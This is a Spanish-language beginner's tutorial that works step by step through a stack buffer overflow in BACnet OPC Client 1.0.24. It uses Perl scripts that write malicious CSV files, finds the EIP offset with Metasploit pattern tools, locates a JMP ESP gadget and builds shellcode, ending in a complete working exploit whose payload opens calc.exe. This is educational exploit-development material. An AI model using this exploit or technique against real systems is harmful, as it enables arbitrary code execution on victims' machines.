Por: pepelux[at]enye-sec[dot]org http://www.enye

Anuncio
Por: pepelux[at]enye-sec[dot]org
http://www.enye-sec.org – http://www.pepelux.org
Fecha: 03/10/2010
Introducción
Este tutorial muestra como explotar el programa BACnet OPC Client 1.0.24. El
motivo de escribir esto es porque estoy retomando el tema de los buffer overflow en
Windows y siempre me gusta tomar apuntes de las cosas, así que quiero compartirlo por
si le sirve de ayuda a algún novato como yo :)
El nivel de dificultad es muy bajo por lo que es muy fácil entender este texto, siempre
que se sepa de qué va el tema, obviamente.
Vi la vulnerabilidad en http://www.exploit-db.com/exploits/15026/ y para aprender,
sabiendo que el buffer overflow existe, voy a intentar explotarla desde cero.
Por tanto, los pasos que vamos a seguir son:
1- Buscar el fallo y averiguar el punto exacto donde sobrescribimos
2- Crear un exploit básico que ejecute la calculadora (lo que ya hay en exploit-db)
Las herramientas que vamos a usar son:
-
RDG Packer Detector (también se puede usar PeiD)
Immunity Debugger (o cualquier otra versión de OllyDbg)
Findjmp.exe
Buscando la vulnerabilidad
Según el advisory el programa crashea al introducir un fichero con datos mal formados.
De manera que vamos a hacer algunas pruebas para ver el tamaño exacto del buffer.
Para ello me creo un pequeño script en perl que me genere un fichero con X caracteres:
---------- bof1.pl ---------my $file= "file.csv";
my $data= "A" x 1000;
open($FILE,">$file");
print $FILE "$data";
close($FILE);
print "csv File Created successfully\n";
-------------------Lo ejecuto y me crea un fichero llamado file.csv con 1000 A’s.
Antes de abrirlo con el debugger miro a ver si tiene algún tipo de protección que me
obligue a attachearlo:
Parece que no tiene nada, así que abro el Immunity Debugger y desde ahí cargo el
programa y doy a F9 para que se ejecute. Me sale una excepción que paso con Shift+F9
Desde el BACnet cargo el fichero con las 1000 A’s:
Y vemos que no pasa nada. Así que incrementamos a 10.000 A’s y repetimos el
proceso:
• Ejecutamos el perl
• Cargamos file.csv en el programa vulnerable
Tampoco ocurre nada, así que aumentamos a 50.000 A’s
Y como sigue sin crashear me empiezo a oler que no falla en la carga del fichero sino la
de algún dato de una etiqueta, así que genero un csv de prueba con el mismo programa:
Y lo guardo como prueba.csv
Editamos el contenido del fichero y vemos que contiene:
OPC_TAG_NAME,OBJECT_TYPE,INSTANCE,OBJECT_NAME
\<OPC Server Name>\<OPC Tag Name>,0,0,
De manera que vamos a crear algo similar pero inyectando muchas A’s:
---------- bof1.pl ---------my $file= "file.csv";
my $data1 = "OPC_TAG_NAME,OBJECT_TYPE,INSTANCE,OBJECT_NAME\n\\";
my $bof = "A" x 500;
my $data2 = "\\<OPC Server Name>\\<OPC Tag Name>,0,0,\n";
my $data= $data1.$bof.$data2;
open($FILE,">$file");
print $FILE "$data";
close($FILE);
print "csv File Created successfully\n";
-------------------Ahora vemos que con 500 A’s conseguimos crashearlo:
Vamos a intentar acercarnos un poco al tamaño del buffer. Para ello bajamos a 300 el
número de A’s y probamos.
Vemos que también crashea. Así que probamos con 100 y parece que funciona bien.
Esto quiere decir que nuestro buffer está entre 100 y 300. Para averiguar el tamaño
exacto vamos a usar una herramienta de metasploit:
C:\Archivos de programa\Metasploit\Framework3\msf3\tools>pattern_create.rb 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac
0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0A
e1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2
Ag3Ag4Ag5Ag
Esto lo que hace es crear 200 caracteres con secuencias diferentes … luego veremos
para qué.
Lo de crear 200 es para generar nuestro fichero con 100 A’s + estos 200, de manera que
sobrescribamos a mitad de esta cadena (entre 100 y 300). Cambiamos el script:
---------- bof1.pl ---------my $file= "file.csv";
my $data1 = "OPC_TAG_NAME,OBJECT_TYPE,INSTANCE,OBJECT_NAME\n\\";
my $bof1 = "A" x 100;
my $bof2 =
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9A
c0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0
Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag
2Ag3Ag4Ag5Ag";
my $data2 = "\\<OPC Server Name>\\<OPC Tag Name>,0,0,\n";
my $data= $data1.$bof1.$bof2.$data2;
open($FILE,">$file");
print $FILE "$data";
close($FILE);
print "csv File Created successfully\n";
-------------------Y tras probar vemos que EIP ahora tiene otro valor:
Usamos de nuevo metasploit:
C:\Archivos de programa\Metasploit\Framework3\msf3\tools>pattern_offset.rb 0x63413863 200
85
Esta utilidad nos dice la posición exacta de esa coincidencia, usando una cadena de 200
caracteres, que es la que hemos escogido antes. En este caso nos dice que el buffer es de
85 bytes, es decir, que encontró la secuencia ‘cA8c’ (0x63413863) en la posición 85.
Recordemos que delante pusimos 100 A’s, por lo que el tamaño del buffer es: 100 + 85
= 185 bytes.
Para verificarlo, volvemos a modificar el script con 185 A’s + 4 B’s que deberán
sobrescribir justamente la dirección de retorno:
---------- bof1.pl ---------my $file= "file.csv";
my $data1 = "OPC_TAG_NAME,OBJECT_TYPE,INSTANCE,OBJECT_NAME\n\\";
my $bof1 = "A" x 185;
my $bof2 = "B" x 4;
my $data2 = "\\<OPC Server Name>\\<OPC Tag Name>,0,0,\n";
my $data= $data1.$bof1.$bof2.$data2;
open($FILE,">$file");
print $FILE "$data";
close($FILE);
print "csv File Created successfully\n";
-------------------Y efectivamente, nos crashea en esa dirección:
Recordemos que 0x42 es el ASCII de B.
Creando un exploit
Una vez que conocemos el punto exacto donde sobrescribimos la dirección de retorno,
volvemos a ejecutar el programa desde el Immunity Debugger con el fichero de antes, y
cuando para en 0x42424242, editamos el contenido de ESP:
Donde podemos ver todos los datos que hemos introducido.
Ahora vamos a modificar de nuevo nuestro fichero enviando 100 caracteres más.
Vamos a poner 100 C’s detrás de las B’s, para ver cómo queda tras la ejecución:
---------- bof1.pl ---------my $file= "file.csv";
my $data1 = "OPC_TAG_NAME,OBJECT_TYPE,INSTANCE,OBJECT_NAME\n\\";
my $bof1 = "A" x 185;
my $bof2 = "B" x 4;
my $bof3 = "C" x 100;
my $data2 = "\\<OPC Server Name>\\<OPC Tag Name>,0,0,\n";
my $data= $data1.$bof1.$bof2.$bof3.$data2;
open($FILE,">$file");
print $FILE "$data";
close($FILE);
print "csv File Created successfully\n";
-------------------Ejecutamos y vemos que las C’s están intactas detrás de la dirección de retorno (las 4
B’s):
Para verificar exactamente lo que queda tras la dirección de retorno (BBBB) vamos a
modificar el script con datos algo más variados:
---------- bof1.pl ---------my $file= "file.csv";
my $data1 = "OPC_TAG_NAME,OBJECT_TYPE,INSTANCE,OBJECT_NAME\n\\";
my $bof1 = "A" x 185;
my $eip = "CCCC";
my $bof2 = "1234567890abcdefghijklmnopqrstuvwxyz";
my $data2 = "\\<OPC Server Name>\\<OPC Tag Name>,0,0,\n";
my $data= $data1.$bof1.$eip.$bof2.$data2;
open($FILE,">$file");
print $FILE "$data";
close($FILE);
print "csv File Created successfully\n";
-------------------Ejecutamos y vemos en el depurador lo siguiente:
ESP apunta al quinto byte por lo que los 4 siguientes a la dirección de retorno se los
salta. Modificamos de nuevo el script:
---------- bof1.pl ---------my $file= "file.csv";
my $data1 = "OPC_TAG_NAME,OBJECT_TYPE,INSTANCE,OBJECT_NAME\n\\";
my $bof1 = "A" x 185;
my $bof2 = "XXXX";
my $eip = "CCCC";
my $bof3 = "1234567890abcdefghijklmnopqrstuvwxyz";
my $data2 = "\\<OPC Server Name>\\<OPC Tag Name>,0,0,\n";
my $data= $data1.$bof1.$eip.$bof2.$bof3.$data2;
open($FILE,">$file");
print $FILE "$data";
close($FILE);
print "csv File Created successfully\n";
-------------------Y vemos que ahora ESP ya apunta a donde queríamos:
Pues lo que vamos a tratar de hacer es poner como dirección de retorno un JMP ESP (o
equivalente) para que nos devuelva directamente a la siguiente posición de la pila,
donde están alojadas nuestras C’s y así meter ahí nuestra shellcode.
Usamos la herramienta findjmp para localizar esa instrucción dentro de la librería
kernel32.dll:
C:\>findjmp.exe kernel32.dll esp
Scanning kernel32.dll for code useable with the esp register
0x7C8027A4
push esp - ret
0x7C8369B8
call esp
Esas direcciones son relativas a la configuración de mi máquina (Windows XP SP2 en
Castellano) y si usas otro Windows, otro SP u otro idioma seguro que son diferentes.
Por tanto usamos, por ejemplo, 0x7C8027A4 como dirección de retorno, que nos
devolverá a la siguiente posición de la pila. Además vamos a añadir una interrupción
para que pare después y poder verificar si se realizó el salto correctamente. El script
quedará así:
---------- bof1.pl ---------my $file= "file.csv";
my $data1 = "OPC_TAG_NAME,OBJECT_TYPE,INSTANCE,OBJECT_NAME\n\\";
my $bof1 = "A" x 185;
my $eip = "\xA4\x27\x80\x7C"; # 0x7C8027A4 -> push esp - ret
my $bof2 = "XXXX";
my $nop = "\x90" x 10;
my $cc = "\xcc";
my $shellcode = "C" x 100;
my $data2 = "\\<OPC Server Name>\\<OPC Tag Name>,0,0,\n";
my $data= $data1.$bof1.$eip.$bof2.$nop.$cc.$shellcode.$data2;
open($FILE,">$file");
print $FILE "$data";
close($FILE);
print "csv File Created successfully\n";
-------------------He metido también algunos NOPs para que no se cree una instrucción diferente.
Tras ejecutarlo podemos ver en el depurador:
Para hacer una prueba, modificamos a mano desde el primer NOP y escribimos un
código que nos ejecute la calculadora de windows:
Teniendo en cuenta que ‘calc.exe’ en HEX es 0x63616c632e657865, escribimos tras el
CC:
MOV EAX, 0x00
PUSH EAX
MOV EAX, 0x6578652e
PUSH EAX
MOV EAX, 0x636c6163
PUSH EAX
MOV EAX, ESP
PUSH EAX
CALL kernel32.WinExec
Luego cambiamos el CC por un NOP y continuamos la ejecución del programa con F9
… y vemos que se nos abre la calculadora de Windows.
El código que podemos usar para la shellcode es:
01FCAFC7
01FCAFCC
01FCAFCD
01FCAFD2
01FCAFD3
01FCAFD8
01FCAFD9
01FCAFDB
01FCAFDC
B8 00000000
MOV EAX,0
50
PUSH EAX
B8 2E657865
MOV EAX,6578652E
50
PUSH EAX
B8 63616C63
MOV EAX,636C6163
50
PUSH EAX
8BC4
MOV EAX,ESP
50
PUSH EAX
E8 D472897A CALL kernel32.WinExec
Pero como vemos, tenemos algunos bytes nulos que echarían todo a perder, así que lo
rehacemos para evitar estos bytes.
Para ello, podemos cambiar el MOV EAX,0 por:
MOV AL,1
DEC AL
Quedando de la siguiente forma:
Cogemos los bytes y los metemos como nuestra shellcode. Para ello lo marcamos en el
depurador y damos a BinaryCopy
Quedando:
\xB0\x01\xFE\xC8\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x61\x6C\x63\x50\x8B\xC4
\x50\xE8\xD5\x72\x89\x7A
Y nuestro script:
---------- bof1.pl ---------my $file= "file.csv";
my $data1 = "OPC_TAG_NAME,OBJECT_TYPE,INSTANCE,OBJECT_NAME\n\\";
my $bof1 = "A" x 185;
my $eip = "\xA4\x27\x80\x7C"; # 0x7C8027A4 -> push esp - ret
my $bof2 = "XXXX";
my $nop = "\x90" x 10;
my $shellcode =
"\xB0\x01\xFE\xC8\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x61\x6C\x63\x50\x8B\xC
4\x50\xE8\xD5\x72\x89\x7A";
my $data2 = "\\<OPC Server Name>\\<OPC Tag Name>,0,0,\n";
my $data= $data1.$bof1.$eip.$bof2.$nop.$shellcode.$data2;
open($FILE,">$file");
print $FILE "$data";
close($FILE);
print "csv File Created successfully\n";
-------------------Creamos el fichero y lo abrimos con el programa, que nos muestra una bonita
calculadora de Windows.
En nuestro caso hemos escrito directamente el call kernel32.WinExec y nos ha
funcionado, pero en cualquier otra máquina, esa función estará en una dirección de
memoria diferente y no funcionará. En realidad tan sólo lo hice así apara verificar que
funcionaba. Así que vamos a usar metasploit para generar una shellcode genérica que se
adapte a nuestras necesidades:
Desde Linux ejecutamos:
$ msfpayload windows/exec EXITFUNC=thread CMD=calc.exe R | msfencode -t perl
y nos generará la shellcode que incluyo en el script:
---------- bof1.pl ---------my $shellcode =
"\xda\xd4\x33\xc9\xbe\xb2\x40\x52\xfe\xd9\x74\x24\xf4\xb1" .
"\x33\x5a\x83\xc2\x04\x31\x72\x14\x03\x72\xa6\xa2\xa7\x02" .
"\x2e\xab\x48\xfb\xae\xcc\xc1\x1e\x9f\xde\xb6\x6b\x8d\xee" .
"\xbd\x3e\x3d\x84\x90\xaa\xb6\xe8\x3c\xdc\x7f\x46\x1b\xd3" .
"\x80\x66\xa3\xbf\x42\xe8\x5f\xc2\x96\xca\x5e\x0d\xeb\x0b" .
"\xa6\x70\x03\x59\x7f\xfe\xb1\x4e\xf4\x42\x09\x6e\xda\xc8" .
"\x31\x08\x5f\x0e\xc5\xa2\x5e\x5f\x75\xb8\x29\x47\xfe\xe6" .
"\x89\x76\xd3\xf4\xf6\x31\x58\xce\x8d\xc3\x88\x1e\x6d\xf2" .
"\xf4\xcd\x50\x3a\xf9\x0c\x94\xfd\xe1\x7a\xee\xfd\x9c\x7c" .
"\x35\x7f\x7a\x08\xa8\x27\x09\xaa\x08\xd9\xde\x2d\xda\xd5" .
"\xab\x3a\x84\xf9\x2a\xee\xbe\x06\xa7\x11\x11\x8f\xf3\x35" .
"\xb5\xcb\xa0\x54\xec\xb1\x07\x68\xee\x1e\xf8\xcc\x64\x8c" .
"\xed\x77\x27\xdb\xf0\xfa\x5d\xa2\xf2\x04\x5e\x85\x9a\x35" .
"\xd5\x4a\xdd\xc9\x3c\x2f\x01\x28\x95\x5a\xa9\xf5\x7c\xe7" .
"\xb4\x05\xab\x24\xc0\x85\x5e\xd5\x37\x95\x2a\xd0\x7c\x11" .
"\xc6\xa8\xed\xf4\xe8\x1f\x0e\xdd\x8a\xfe\x9c\xbd\x62\x64" .
"\x24\x27\x7b\x6c";
-------------------Creamos de nuevo el fichero y lo cargamos en el programa (esta vez in usar el
depurador). Y finalmente se nos abre la calculadora de Windows.
Despedida
Se que ha sido algo escueto pero el programa tampoco presenta mayor dificultad.
Espero que haya servido de ayuda a los más iniciados :)
Descargar